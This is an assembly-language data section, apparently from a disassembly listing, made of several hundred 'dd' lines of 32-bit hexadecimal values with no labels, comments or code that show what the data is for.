		dd 0C44AD19h, 621E0742h, 500986D0h, 0F5EA006Bh,	0DDF2534Fh
		dd 0D84C39A5h, 2F260371h, 8BFEEC33h, 0C3EB8959h, 0D6D27280h
		dd 3EBBA929h, 0AE801300h, 0C7887C92h, 0F9AB0083h, 6A0DE5A8h
		dd 1C0F4965h, 408E747Ah, 379A477Dh, 173E078Fh, 0B0DDDB80h
		dd 0B0D8CAC5h, 46D2E000h, 49B1EF03h, 977500CEh,	502599E5h
		dd 617ACD78h, 0B7C1BFCh, 0B78E3F00h, 6DEA0185h,	1C910FB1h
		dd 805C735Ah, 41742DDAh, 43008921h, 558776EFh, 6D3CEBh
		dd 783D208Dh, 0DC758AA8h, 1BA4E660h, 7ED8C93h, 1ECE4A10h
		dd 0B00D207Fh, 1F009E9Bh, 353FE2FAh, 216DADh, 0D3AE7C3Ch
		dd 6E550CB9h, 1C5700Fh,	80FC2BA1h, 0AD591B91h, 7D540F36h
		dd 66609B63h, 0AB8EB4EEh, 4CCFDF07h, 8F31C0CDh,	0A3F41579h
		dd 1F362830h, 0DEF00C8h, 1CCA65E9h, 0D0007F9Ch,	138E46EBh
		dd 1E29AD56h, 806289E3h, 818C2A23h, 0BD0038D6h,	0C95248F0h
		dd 507E6384h, 6AB0F4h, 4D30C24Fh, 68BA4A9h, 1B8CE91Dh
		dd 73EE5CC0h, 39855B0h,	0D54DD81Ah, 0A000EF5Fh,	270B3E40h
		dd 0E59AE0Ch, 92495AC9h, 0F54145C0h, 230099C0h,	0FEF8A2D7h
		dd 2E9E64Bh, 0E3A96F12h, 0A6E1322Dh, 0E1E07058h, 23018177h
		dd 0D5FFA78Fh, 80EAF1DCh, 41DAE0ACh, 40D35CB1h,	3CBFAD00h
		dd 6A78615h, 8DF00304h,	4683E86Fh, 2271005Dh, 80AF6ADh
		dd 0F300E194h, 0D5D97D12h, 1DA5707Ch, 40C17546h, 947242A4h
		dd 6800EC0Dh, 7F6EAF6Ah, 8447BBh, 111CC615h, 0C4D6940Fh
		dd 910A4E1Ch, 30926640h, 781CDC1h, 0FEAA6175h, 0E8E00F04h
		dd 0DB8908Ah, 21D42F00h, 565F0785h, 23D124F7h, 4599002Ch
		dd 0F88E0B30h, 4EDA9A07h, 3C174F0Ch, 1E7E42C0h,	0BE050082h
		dd 0E33FB9D2h, 8891B8FFh, 0E08C80B9h, 3237672Bh, 6E6B0011h
		dd 5723B974h, 7C61120Ah, 0B658FE18h, 448BC0D7h,	0E0F2BBh
		dd 0AAD2E791h, 7F111D28h, 1AAB9F37h, 21B78F60h,	58FF00FEh
		dd 697C9D44h, 383F39A1h, 0B235804Eh, 37D70B91h,	726807A2h
		dd 2AEC6EE4h, 0EDF100F0h, 0C8356C19h, 0F80E7601h, 0C9BB101Ch
		dd 58AAEC40h, 6B3E0789h, 3137AE0Fh, 0F848A6DFh,	0CC4C958Fh
		dd 3FBD002Fh, 0A9B46F18h, 8BF502ADh, 14F1377h, 0D84A6C40h
		dd 0A6E6AB00h, 92D2BFCAh, 28772BAh, 0A0ED9C8Ah,	0FE808BE4h
		dd 0BE28555Ch, 3FC17600h, 4AF6FA9h, 90463B96h, 7ABC7E00h
		dd 722BDA78h, 891C2103h, 0F7D36268h, 8E0A7400h,	0ABCDE636h
		dd 7BDF0ACh, 88909Bh, 0F94957FEh, 0FD7C701h, 0D0099E6h
		dd 0D1C69F6Fh, 9B12DA9h, 91BF7084h, 649D5CB8h, 2AC48B00h
		dd 900F89B2h, 0AB5E0166h, 5563A0B1h, 2F99E0C7h,	7153DF03h
		dd 805A4CB0h, 4CAA949Bh, 7B0218A7h, 0E57E49BAh,	0DC771061h
		dd 0DE38F822h, 0F1A660C4h, 0A31CADh, 1247F586h,	0BCC07982h
		dd 853E9BEAh, 0F24F83F9h, 0F0A74054h, 0BD470FEh, 69B9FB97h
		dd 0B2801200h, 6A00737Ch, 29DBAA8h, 9A25D15h, 0EFAD9722h
		dd 8624BC00h, 10027585h, 36171E9h, 0C2E868F9h, 0D1B30047h
		dd 39AE2C2Bh, 5E000419h, 4AF1EE67h, 7D8F74Eh, 0C1DE37A5h
		dd 0B439F09Dh, 31248A79h, 3604BCC2h, 5CD060BEh,	0B58062h
		dd 1689C599h, 9FA9A85Eh, 40B2EA03h, 0D11B9BAAh,	0D0302A51h
		dd 58790090h, 0FE2F61F5h, 0B490CAEDh, 9B0A9C79h, 98269272h
		dd 0CD023F80h, 0D1A7EAh, 4F0E1578h, 1323599Eh, 9DC88F00h
		dd 7BB62FE8h, 0E02D3D45h, 3CEC1B80h, 42F693C6h,	8E86FE00h
		dd 0FFADBD16h, 335A03EFh, 0C62C29D4h, 48B0C28Bh, 2100CF47h
		dd 0B1DE42Ah, 11AE1Ah, 0A241579Ah, 4C3C7D97h, 2BEF7100h
		dd 5AF50794h, 2FEC0090h, 26F4932Ch, 449004C4h, 1400157Ch
		dd 9FA1585Ch, 7CFC97h, 558C5EFEh, 2BA6BC3h, 0B7801816h
		dd 0EBB19100h, 183CE87h, 56F3FB74h, 0D598AE39h,	25A6C44Bh
		dd 25B7C3Fh, 1F528DCAh,	0AF4CC007h, 3CF20036h, 28EE20B3h
		dd 0C7721087h, 30FAEC00h, 2BE1F5FFh, 865D58E4h,	1E601500h
		dd 549076Fh, 53EC5802h,	0E2D4BEEEh, 0C3E6040h, 9FB0CFh
		dd 29B9C608h, 6AC80B92h, 2F092C73h, 80F76EFBh, 1317BF30h
		dd 5BCD0979h, 38801A96h, 0C0808205h, 353A061Dh,	0E3F28340h
		dd 9158F46Ah, 2EBA664h,	0B40F320Ch, 0D4A71D60h,	1D07D7F4h
		dd 29C78EF9h, 633D22F0h, 3FBC004Ah, 35CAF233h, 0C102628Fh
		dd 28CAB90h, 5765E0E6h,	0EA160337h, 78793366h, 51A60EC0h
		dd 0D05EC07h, 10D0A818h, 0CA7309h, 411A991Eh, 281FD5EFh
		dd 7C9A3B0Fh, 0C5DA4048h, 37CCF971h, 20682790h,	0A6A047C6h
		dd 0FCFE0303h, 0B8E06D88h, 24CFA96h, 0F5516E12h, 68600726h
		dd 0C30070D2h, 0D762CE7Eh, 533A6Ah, 3512523Fh, 1C0C3805h
		dd 0E4256800h, 9E5640EDh, 0A279058h, 2EBC47F7h,	0C51680DCh
		dd 0B3729112h, 68200926h, 6B031D24h, 0F04B0B6Fh, 242CD5h
		dd 4A0FEF75h, 0FE1883CCh, 4D2DEB00h, 0EA92530Dh, 12709856h
		dd 3299B0E1h, 3E606990h, 9005885h, 1E6AFA44h, 3F7D6207h
		dd 0A38056C3h, 0ED78496h, 7E3D81DDh, 7E7BB16h, 2A223024h
		dd 13AB8F80h, 86E6078Ch, 7FF39047h, 0E9F0A140h,	0AF004D1Eh
		dd 0AA73EC71h, 37F13Dh,	2F29E17Bh, 62B57960h, 0E7E87401h
		dd 0B19CCD04h, 320DDE4h, 65A643AFh, 7B902AD2h, 8004C6B3h
		dd 5A2D9F0Ch, 0ABB11EC0h, 0D40E1696h, 0D23F00A9h, 1FC22038h
		dd 7C780A3Ah, 651AA100h, 5AFC9372h, 39A00069h, 6D5F28F9h
		dd 5477B343h, 50443Fh, 0D2D815AFh, 2EA149Dh, 0FB257201h
		dd 0A44005BBh, 5E009203h, 4A7C1798h, 726C7B84h,	564302A2h
		dd 3DA95A9Ch, 1331D880h, 0C70070D0h, 2C63CA7Ah,	1F492361h
		dd 0DE1A4A37h, 8D0F4B11h, 879FE804h, 7E0EB2A4h,	2ABDE10h
		dd 6EED02F2h, 48C805BFh
		dd 28FAADF4h, 62D7C004h, 8CA0F9A3h, 0C65C09F0h,	5884154Eh
		dd 5F32C0BFh, 4A179368h, 8A07915Dh, 0DD906B12h,	90093A4Bh
		dd 7E65F4C4h, 0FB3C0047h, 2608C157h, 0AE145F31h, 1CDCC769h
		dd 3800E9B8h, 72F8F041h, 0EEA3004Ch, 80293A30h,	3018D23h
		dd 74C03B31h, 98FF2519h, 8A4290h, 0C5D3A6BCh, 83042346h
		dd 0AFDC6C00h, 2C859C6Ah, 0A11C00EAh, 0E943F655h, 9F00D83Ch
		dd 0F577F44h, 5C1E754Dh, 70F2D64h, 2380BB2Fh, 76530C7Bh
		dd 30FB73FAh, 524C35B5h, 0A62E7925h, 0B68310C4h, 0CB8EBE83h
		dd 88E6D8EBh, 0D08C00F1h, 4879C477h, 0AA003C41h, 9503AC62h
		dd 58689B5Bh, 66C08482h, 5E07C64Ch, 77AC2548h, 2B74E22h
		dd 41C8956Ah, 0B4A05BD1h, 44ACE54Dh, 989FFE3Ah,	0E819E76Dh
		dd 67500D6h, 0C6232282h, 9800B072h, 0AAFB3EDh, 5E6907h
		dd 0B42FFBFDh, 65E1E61Bh, 3DBD401Eh, 4CADDC0h, 0EBF51436h
		dd 8880AA21h, 95251F9Bh, 8600D964h, 0DF535BAAh,	7ECB0DF5h
		dd 71D800E3h, 9BA55C7Fh, 80412B6h, 4AB87532h, 0B2E06780h
		dd 0FB0509F2h, 18008CC2h, 2CA3E8B9h, 7F982307h,	0C970D6D0h
		dd 0E297F1h, 0F683ED9Fh, 479EF4EEh, 4D875100h, 0ABEF4BA0h
		dd 51BBF60Ch, 8841EB7Ch, 24650A9Bh, 0FD32F0h, 0E52AE4F3h
		dd 0D304CEDBh, 7FB52100h, 478B89B8h, 0F25F1FE8h, 0D9A4C0B2h
		dd 0C28FC0ABh, 0E9A8821Eh, 7904F741h, 88209EA3h, 0F57192h
		dd 0E41EB93Fh, 2296F459h, 0D3373C03h, 0B0FEEF2Eh, 287906h
		dd 959877CCh, 75DF564Ch, 8FE5493Dh, 0A002F8B6h,	0E607AEB8h
		dd 65AF0043h, 0D92D4ED0h, 21015F6Ah, 71AC8CBAh,	0B4409D58h
		dd 0C7D3FAh, 0BC7D960Dh, 0EECEE37Ch, 5EB9940Bh,	12CE0056h
		dd 2ECB27EFh, 1F6454FAh, 48D8C022h, 3C4BE30Eh, 0D24725h
		dd 0AD84B6E4h, 3FEF00A1h, 327CE930h, 9D00BC93h,	0C5D29A0Ah
		dd 3823AE05h, 15B0620Eh, 6F2D5D11h, 4CB9E100h, 19AC4651h
		dd 37707F65h, 27585015h, 8E1B10C2h, 0D0255E44h,	895C00FEh
		dd 1F2017D6h, 0C0FF7E33h, 0ED596DB7h, 3500A3D8h, 745A8CB9h
		dd 3B9BB0D7h, 0F793C83Eh, 38040017h, 395D08A7h,	0F45CB600h
		dd 2A8AC5AEh, 21EA00D0h, 0D19D66B8h, 0AA0036ECh, 64BDB7AFh
		dd 0A6AB8Eh, 0B8652720h, 89214BFCh, 0D5A2F314h,	0EF6C00ABh
		dd 0C0F54F40h, 681E039Ch, 0D1D4692Bh, 63E4EAF0h, 40030B8h
		dd 0C9946B4Ah, 71D2FB55h, 98B70354h, 50E9780Eh,	0FAE9088h
		dd 90086EEh, 0CD4D6156h, 24A1B11h, 20C044E9h, 0BCE081BBh
		dd 4B01A668h, 61EBF1Fh,	38E8DA8Fh, 96270035h, 91ADA96Eh
		dd 0FF00EE29h, 0E1C8F43Bh, 0F94111h, 335426ECh,	981F2F6Dh
		dd 0B5647600h, 504A8214h, 0D4FEB7h, 0CCEFC185h,	2F336815h
		dd 0CEA7E801h, 554598F4h, 389020h, 53D1694h, 304E27A3h
		dd 0A26AB000h, 0C2A8D4B9h, 217683h, 85DDBFCCh, 0C81395AEh
		dd 33FD33Ah, 737AA4A9h,	445398AFh, 1AA2018Ah, 215452FDh
		dd 6B2BC03Ch, 0EBB68913h, 0EA427F00h, 1FF34FA9h, 0C00B180Fh
		dd 936E259h, 7169C76h, 6A075F50h, 26C05CBDh, 4A952EC5h
		dd 0BFC01E8Ch, 0FB364680h, 91BC3A33h, 991C0107h, 8BF0DD7Ah
		dd 0C1B8Ch, 0B8B96DEDh,	0F1C193DBh, 77BF281Fh, 92624880h
		dd 6065FD6Fh, 0D04660EFh, 0B61EBBCEh, 0AA1E9DF6h, 5FF77B03h
		dd 0DE2100D5h, 0A0654FC8h, 81C04843h, 3510A459h, 0F89700B4h
		dd 0F4395BEEh, 0D400757Ah, 76901B12h, 7F8C2DD9h, 0B8400089h
		dd 78BCF4A3h, 6500A85Bh, 0C6ADFE85h, 0BF7D6Dh, 0CECCBBE2h
		dd 6F155A5Eh, 0C97C7200h, 0AC206733h, 4AF7002Bh, 57E83EB0h
		dd 7078D61h, 0AB05C87Bh, 76E11670h, 0A0F8024Eh,	0B30840CBh
		dd 0E23C5060h, 47AA7A00h, 0F64587EBh, 0A8E7004Eh, 1DEFE6B1h
		dd 7C3E0604h, 0C7580065h, 7D80CCB2h, 0C6D4007Bh, 91BE4366h
		dd 0CD007075h, 850AEEA2h, 354D26h, 0B951148h, 0E553B8D8h
		dd 37001CB4h, 7664690Dh, 4CA900C6h, 0CC4680E6h,	0C001219Fh
		dd 72ADAC2Fh, 0D070CE1Eh, 0F8420E0Ch, 40D8FFBBh, 400922Fh
		dd 159FE8DCh, 94AE06h, 50F64359h, 4275A73Ch, 95184A00h
		dd 41A22512h, 73C112AFh, 0E70400B0h, 9C4921E9h,	428E05Dh
		dd 0F89FAA72h, 6517CEC0h, 6D70162h, 0E4505E6Ah,	0B701C0E3h
		dd 0DC1140C0h, 26D10EBh, 82155AFh, 97409939h, 232429D7h
		dd 0B1002480h, 3C78A585h, 3A1498EBh, 0F76233h, 0DDB2E481h
		dd 27F7E22Bh, 87BC3907h, 6EA04553h, 0FE4757B8h,	9DF800EAh
		dd 9E77BDCEh, 97A08A3Ch, 0AB902881h, 49DE3000h,	0FF8F9086h
		dd 59873EFh, 0B3136604h, 0F1278046h, 0B20016F5h, 0EE7105B5h
		dd 8E74B1h, 72F06590h, 0DA28BEBCh, 51A25C12h, 0D39CEA00h
		dd 217B92h, 745084Ah, 54C9162Ch, 0C6052F00h, 0B5279118h
		dd 0D39B1655h, 32B500BCh, 1B4B77E7h, 0F5236C05h, 0EC010853h
		dd 80B67A6Bh, 142864D9h, 809A541Ch, 42F43EABh, 0EF0325B1h
		dd 37FB192Fh, 2262A859h, 49340144h, 321F311Bh, 1466FC72h
		dd 0C8747805h, 90839B13h, 965D002h, 60FDD2h, 551FC6Bh
		dd 680AF56h, 171EC231h,	8C1348E0h, 15D08804h, 20809E73h
		dd 0E05A3263h, 25680024h, 0FB189CAAh, 572EE441h, 0DC802C4Dh
		dd 0E77FEA10h, 8F0B056Dh, 0C35056ABh, 0DDF06AF2h, 7E00F638h
		dd 4EA8D67Bh, 58BBA36h,	0AF197D91h, 6A548008h, 6164BF8h
		dd 0FC47EA47h, 0AA20A7DAh, 0C08DBCh, 0AD90AB84h, 0DEC8757Ch
		dd 0DF1DC590h, 24C30FC9h, 0B0B066B6h, 59A5C9Eh,	91CBFA18h
		dd 88D48038h, 920BF302h, 20E02749h, 900BDF80h, 0FD1F0191h
		dd 0F0A6D345h, 8CB5FCFEh, 16341004h, 0A881B6EAh, 9EF4A785h
		dd 0D36A04C4h, 819209D1h, 0C876DD50h, 56E40FDBh, 68687124h
		dd 209A8039h, 0F53AECE7h, 12D800CBh, 4528D362h,	5A3C21F9h
		dd 6995803Dh, 4BC0E866h, 97A30E2Ch, 0CD0016EDh,	301288B0h
		dd 69590200h, 0A74DF14Fh, 57010018h, 73526F55h,	6384AA4h
		dd 110880B7h, 5A482C9Fh, 988F001Ah, 0A44FAF67h,	0ED385B33h
		dd 46828058h, 0BB3D5619h, 880D00F6h, 0BFEB9EAAh, 0E6EAAB47h
		dd 0F5FF8A07h, 39A7B62Dh, 0C4F16BE0h, 6486009Ch, 0D13AB4E3h
		dd 2F1D8F38h, 2010DC5h,	0C9A1F950h, 0F8A1420h, 0BE99EA9Dh
		dd 0CE4C8BC0h, 8F0292A7h, 5BCB75DDh, 0ADA640D1h, 9FC90057h
		dd 0D7185D16h, 0AC0078CAh, 94520E3Eh, 1E25C8AEh, 7B39F5C7h
		dd 0E72FC280h, 7AE9950Ah, 2CC1B000h, 6B36B3BBh,	2AEE30h
		dd 0AE51861Fh, 0F89EFB3Fh, 0F4F45Ch, 13DC5C02h,	0FD4D32h
		dd 893B108Dh, 4C454FA7h, 80950126h, 312AD000h, 3CC3A1h
		dd 0CAF9D1Dh, 1697F605h, 7DEFF300h, 0E5DAD87Fh,	89B000ADh
		dd 0E69D3313h, 84001BFAh, 6D62E3D1h, 54CC5C9h, 45369560h
		dd 52F0C3B4h, 0C6AA84E8h, 0EF90AC9Ah, 58C17600h, 4F8EB354h
		dd 2B9F0E59h, 0C500273Fh, 3CBFB781h, 97DB3012h,	28CD411h
		dd 8A093346h, 69056088h, 1683041Bh, 0C01F0121h,	82B06214h
		dd 0C2044304h, 0C4D05D03h, 2E6EF7h, 6345F854h, 0C2442387h
		dd 9B1C2B00h, 0A2D7DF78h, 0BEB80079h, 3C81B0F0h, 2D09F307h
		dd 803824B1h, 438D1BE0h, 3592249Eh, 0C687BE94h,	0A0D639DCh
		dd 0C2ED1294h, 0BDAE2A00h, 0A632169Ch, 740203FCh, 0E3F0E04Bh
		dd 64CDC9A1h, 3F05C134h, 219910B3h, 0AFFACE0h, 2B3D844Ah
		dd 9FF61CDAh, 5828CA4Dh, 94A98498h, 0F558A444h,	12B55400h
		dd 0CA059279h, 0EF48C0C7h
		dd 8648FDF1h, 58DE4405h, 8041F7ADh, 0B2A6A7EEh,	228C4087h
		dd 1740B04Bh, 4FFE1C98h, 0E1835B12h, 8472B880h,	38A37EB3h
		dd 68803092h, 0C3255D36h, 8924A967h, 607130Dh, 32F014C1h
		dd 706AB8h, 573E84E2h, 0C2E5223Bh, 5578AF62h, 676075ACh
		dd 4F7C91E6h, 0F800E77Eh, 65EFF8Eh, 0FE8132Fh, 599C07A9h
		dd 86C1038Eh, 800B7C6Fh, 0E518B3F8h, 0B2FE8B21h, 0B0CC05F0h
		dd 601B389Dh, 0FB044DF0h, 83C06499h, 90016F5Ah,	50A900B9h
		dd 0EFD32189h, 0BB6EFE88h, 0F46A5EF0h, 143F39A0h, 16BED33Dh
		dd 5CC03031h, 0E2B58145h, 714D6708h, 5488D043h,	0B2057F57h
		dd 7DAED411h, 83EB4060h, 70ECF9CAh, 8FF8C035h, 2A075DFCh
		dd 24B4EDE8h, 0C9003E13h, 1104C2ECh, 0EEE10089h, 57DD7561h
		dd 0AD00BCB6h, 8BC54658h, 0C03D225Ah, 0D1491980h, 8309A1FAh
		dd 6FE97F1Dh, 12FB00F0h, 0B8C47D8Eh, 0A8966324h, 20835201h
		dd 0D020C657h, 0B9100ACh, 346F1A2Fh, 0C7FED6C5h, 0DD7CDF02h
		dd 0C02D7522h, 8C4818h,	522CBA07h, 3BE410E8h, 0AAAFCCA8h
		dd 0DC00A64Eh, 737BBA90h, 89D005A1h, 416F16D7h,	47345D9Ch
		dd 0D052FD40h, 4D493E8Bh, 0B45A0670h, 1294C09h,	0E2241342h
		dd 50C4070Ch, 0DE3C57A8h, 9CF96900h, 83B78F08h,	17347E03h
		dd 1FE3CEF6h, 16C7DC88h, 0FF380551h, 8C24C02Bh,	0F226E8D6h
		dd 0D300D447h, 0C4A86242h, 60C702B3h, 0C239C358h, 80A03BC2h
		dd 0A5B984D8h, 6E3AEB0Bh, 0E78CC6CBh, 8BB0D0h, 4A130B0Dh
		dd 6D9801E2h, 98BC7E79h, 0DDE71A05h, 6C6E9B00h,	57FCF8h
		dd 3F25B238h, 43AA7348h, 44F15F0Fh, 5BD320F7h, 0FAE6095h
		dd 7F21DDCh, 0B5844800h, 0C800A394h, 0D0D7A45Eh, 0AD5256h
		dd 96BD382Dh, 0DEE6F0F9h, 3BA53Fh, 0D1D95578h, 8E1936h
		dd 0B43568F8h, 1D9EB086h, 94501376h, 4701AB88h,	6B0CB98Dh
		dd 0DFE0ED64h, 41D80075h, 677F177Bh, 3901ECADh,	0D72614A9h
		dd 0CA00610Fh, 2A002B9Dh, 3F178BB5h, 0FFFBA1h, 0E5D18906h
		dd 0D2CA776Ch, 18DF7305h, 189002ABh, 0EEEC17h, 0C5D57A7Eh
		dd 3BBF4267h, 28265B00h, 0AB83B024h, 315D2F2Dh,	9991F880h
		dd 92306Ch, 7D822600h, 27DAD4D2h, 8B7200EFh, 281D022h
		dd 61C1854h, 9C425DE1h,	48929A88h, 6B9B3Ch, 1896C140h
		dd 525C1E3Ch, 17120371h, 5449DA0Ah, 20DCC44Dh, 0E4011407h
		dd 0A9C6436Ah, 0EBF8A619h, 3E37ECBh, 45F91A81h,	54A0FD2Ah
		dd 0C300E646h, 87AB113Eh, 7995748h, 158D305Bh, 0CB7E601Ch
		dd 8C584DB9h, 6EBC00B4h, 7F2752A8h, 0D6630278h,	999F2D1h
		dd 0E49E7841h, 931E05ABh, 0E780CE01h, 345939EDh, 91C488DCh
		dd 3ED72300h, 0DA8E25A0h, 182E003Bh, 0BDA18D15h, 6F7922E3h
		dd 0E8EE85E6h, 0CDB40601h, 824A7786h, 165C01D8h, 624DE65Fh
		dd 0C16FE94h, 6FACD12Bh, 840C6679h, 11BE111Eh, 3FB10151h
		dd 47A44921h, 0D82574h,	0DB5A7EA4h, 41BE3Bh, 704B3C30h
		dd 0C1780FCCh, 49250638h, 207CA0h, 4F41A474h, 11CBF3Fh
		dd 642F9095h, 70031B59h, 0D0A9F03Ah, 9CC06012h,	0EDE3BDA0h
		dd 2F0BC49Bh, 5CC60098h, 4D6BEB0Dh, 7A9C95h, 2CF6FE8Dh
		dd 0E959B9DDh, 5096E0E5h, 59CCC532h, 0B3ECC499h, 51D8E0Ch
		dd 6F706118h, 9262ED09h, 0E46CF8h, 0B68216DFh, 11D5A2EBh
		dd 71911400h, 0E6BFC2AFh, 0D3A8013Bh, 9B1875E3h, 3473E877h
		dd 953C1003h, 0F5044BE0h, 928EFC92h, 6C1480h, 0DF371704h
		dd 6BDD1950h, 2D794700h, 1D28B3D5h, 0E3B0023h, 8A786FEFh
		dd 44003F36h, 0D9A5843Ch, 5D0A376h, 8D8C8FA2h, 0FE8C05ABh
		dd 4D70984Fh, 0D1E49030h, 2BD8ADBh, 9FBC3CCAh, 78CE4157h
		dd 0EF677D00h, 50017C15h, 7495024Ch, 7231A961h,	0E388C0ADh
		dd 1D22690Eh, 0B1204082h, 493E26h, 0F143AB72h, 97186209h
		dd 130048B0h, 1087B090h, 72686Fh, 0C2053DC7h, 7AD106D4h
		dd 0CCA6FC01h, 0C649C3B5h, 25BA1030h, 14C31124h, 80B1BBB9h
		dd 0E5ECDE19h, 0FCAA95D1h, 44C901FDh, 0C4A9B1Dh, 0E05460D0h
		dd 0C19F2404h, 7C0E5BC4h, 80C72171h, 0A2A14BC3h, 0C506E06Ch
		dd 4EBBBA38h, 14974C29h, 1113C4h, 893D0A9Ch, 0CAE000D4h
		dd 0EB32F73Fh, 0E712C503h, 72090994h, 9D5460EDh, 99530169h
		dd 83722BB8h, 0BE1280B4h, 0B0F8DDC7h, 3D030085h, 7A93CD52h
		dd 4B3DC8ECh, 5E007E2Ch, 67DE5C46h, 7320D34h, 57C178CAh
		dd 917D9022h, 2E7CB53Ah, 0E9D1311Eh, 0A0154843h, 890CC0AEh
		dd 24F47612h, 1DB7C2h, 466177EDh, 90091A3h, 0E03C19F3h
		dd 3ED802h, 0E5016BAFh,	8D4C9559h, 18DE1C00h, 57350694h
		dd 9B1A12CDh, 1164E0A9h, 1C09F40h, 0B391213Ah, 0EC8E0D0Ch
		dd 0E500F51Ch, 0DFE36687h, 4C84F6Dh, 0A0BDD5CAh, 8DBFC0F9h
		dd 6B05EAD6h, 72D3C174h, 0B5090B4h, 0B2552685h,	52A24080h
		dd 0E90B0DF4h, 0E0114B7Ah, 54608D4h, 0CA945F2h,	0C6820001h
		dd 0C180EAB9h, 0C8C57C09h, 8F08F02h, 9CB280C2h,	1D8CA4BEh
		dd 9FAB2F0Bh, 0EAE81B4Ch, 0D1800E1h, 0FB131F16h, 5904AB8Eh
		dd 64E2C6CAh, 7A2FBC0Fh, 5C6C0A16h, 16260FB9h, 0B8569C22h
		dd 0AE9003E0h, 9A687E13h, 243C98B0h, 848CD731h,	0D72A966Bh
		dd 5A9A0094h, 711666A7h, 0ED1DD4A5h, 8512BB80h,	0DC1C6F5Ch
		dd 0C4D8CB29h, 0BC29D829h, 0C563D880h, 1109C8D3h, 0A8A56Ch
		dd 83A684A4h, 814D395Ah, 0CC100E00h, 74466094h,	1DEED4Ch
		dd 0B23F7E7Fh, 0C2D9811h, 0DD314383h, 54766102h, 5BF8215Ch
		dd 0B513427Ch, 0DF43646Ch, 0EC60224Ah, 0C4034054h, 9675FFh
		dd 0D9C77C61h, 910330C5h, 192FEC30h, 1208C426h,	4E66EB7Ah
		dd 0DAA655C4h, 0EC0921FDh, 94B1D71Eh, 43FE26F4h, 38806968h
		dd 5CBEC2FCh, 40F739C9h, 283DFF78h, 620EEC6h, 363A9DCBh
		dd 0C80729D1h, 693CB27Ah, 0F645C760h, 0ECC42922h, 2EF01374h
		dd 8F2B3ED8h, 0E1B77F9Ah, 0C7AE0192h, 7400F878h, 0C5CBD172h
		dd 5F320728h, 184C51CEh, 0EC7EEE94h, 0C79BA202h, 4085183Ah
		dd 3E52750Fh, 5800371h,	0CEC1BCAEh, 84035ADCh, 0A3197688h
		dd 52E788FBh, 377E074Ah, 31C5472Fh, 44C0E91Eh, 1478A0E8h
		dd 0EFA0EB0Ch, 0D180EDh, 7846735h, 58EE2739h, 881B974Bh
		dd 49C09838h, 60309CD7h, 0DA21947h, 2836F805h, 1CC81C5Ch
		dd 1D9E019Bh, 3739E0F4h, 0E1F0344Ah, 31D90103h,	88A46AA8h
		dd 41E0B34h, 3FAC2368h,	4534B04Ch, 0D452082Eh, 0C29F5703h
		dd 0E13BF89Bh, 7F4B5Ch,	2E94764Ch, 0E84C6290h, 0D87787F8h
		dd 0F386E210h, 0D2700F1h, 0F055DF0h, 7902C2F2h,	0A23CF74Eh
		dd 28B4A1DDh, 0F852D609h, 28B44571h, 0D69800FDh, 6AD730AAh
		dd 0EA30966Dh, 59B7312Dh, 0DC2B00F8h, 0FC31B1B8h, 0A74D33CAh
		dd 40DE0030h, 9181289Ch, 0BCF3009Bh, 1A0284ADh,	498DA78h
		dd 801EA89Eh, 0DE7FDB41h, 7424EE66h, 0BACF2CDFh, 1DB622Ch
		dd 35400Ch, 79D8DC81h, 75C2336Ah, 981D400Eh, 491520EAh
		dd 4CDB51C1h, 0C40358FAh, 0C70759C2h, 8F0C0980h, 227A2B00h
		dd 0AE3DE858h, 91A40660h, 0E068C39Fh, 9E523A00h, 2F6ECC0Fh
		dd 82574F58h, 24C0AB80h, 5C00C91Ah, 575B95Ah, 2E2D6E4Fh
		dd 1FE80B41h, 7B8B4058h, 6AE879B0h, 0C8D8A700h,	0A911B87h
		dd 3ED026CBh, 0D3700F1h, 821E5CEh, 0A695501Ch, 89C5359Eh
		dd 88A0DB16h, 0F07E0091h, 0DA4A48F5h, 740032DFh, 8BBAEA1Bh
		dd 5C9DE615h, 1E00B316h
		dd 8EF380E2h, 59772DEh,	0E8B062FCh, 48350745h, 50182C1Ch
		dd 6670FDF4h, 6068AE25h, 12AC57B0h, 0A038FE3Eh,	80052238h
		dd 33194382h, 100CC3h, 2B0B6FCEh, 24BB72BEh, 0C9CD7100h
		dd 0E3D980D5h, 0E19A00CFh, 6E4DFBF7h, 0B90044EEh, 8FB4313Eh
		dd 7B9447h, 0A49E1145h,	0E0A0E932h, 6E44600h, 516444D7h
		dd 6A9C092Eh, 18200F41h, 0EB677F4h, 8F361109h, 1AAC00FDh
		dd 0B14497A3h, 99BA884Ch, 0E9F8028h, 932C41B0h,	89F191E9h
		dd 8862D852h, 6500D8B0h, 5D5E1D3Ch, 19F46BD3h, 0FB474500h
		dd 3600F68Dh, 277389FEh, 30EA1412h, 0A24829B3h,	0AD305AF3h
		dd 0C6E111FBh, 0CC79003Bh, 27C3D2CBh, 68F4BC24h, 2D7D100h
		dd 6E3428E4h, 0C95909D3h, 40009B43h, 470F3A4Ch,	53F47500h
		dd 0E83C4F26h, 0A09CC9h, 14949261h, 4E0058F7h, 0BE1C373Bh
		dd 904CD949h, 73B70060h, 0D2A29CCh, 1E018682h, 0ACA2CEA5h
		dd 6083F7B8h, 5A3315A9h, 543C72C8h, 4960F3F0h, 0C0B3E2B0h
		dd 0BAB70034h, 0E90E7FA3h, 23009FC5h, 1A67B838h, 0A54801h
		dd 51703345h, 78AECDE1h, 637890Eh, 0CFCCD861h, 1CA2FEC1h
		dd 558C2AFh, 0F312C6h, 6B7223C0h, 900819Ch, 9D1AC96Fh
		dd 12BD2FA0h, 9FB504h, 3ABFD8E5h, 0CF00C0BCh, 8D7C40DCh
		dd 565F0h, 0D3249CD9h, 4BC29348h, 80770800h, 0F44D41F5h
		dd 37A706DFh, 1A47238Ah, 0A857201Dh, 0F314D2h, 97868EBCh
		dd 0CD18892h, 0DB76474Fh, 0FD066B20h, 0E4210EE9h, 0C660071Fh
		dd 2ADCB781h, 7E868300h, 1CDDA23h, 0EF3A0322h, 0F89A99Dh
		dd 209821F1h, 0A03B078h, 1CA38211h, 6C8F88FDh, 77D514E5h
		dd 5D00BC76h, 0C63AB85Fh, 0E95A908Dh, 0DA7028C7h, 31647Bh
		dd 294D42BCh, 0F540ACA6h, 30D31651h, 0E4FAB21Ch, 26C0C25Ch
		dd 1B9A8B4h, 7E121C29h,	2AEDAA98h, 3B4BB187h, 71DB10A7h
		dd 0E00D4DCh, 0AA647395h, 0DEEE8BB8h, 25ACC4B8h, 5654437Eh
		dd 0B840C0B5h, 2C1100A1h, 14098988h, 63007793h,	5E5CF801h
		dd 342969h, 21BE900Dh, 8877E7Ah, 0D8C0564Fh, 0DC8494Dh
		dd 0C1BB29E4h, 104560B9h, 5A898C96h, 9764D0C3h,	0FEF98D40h
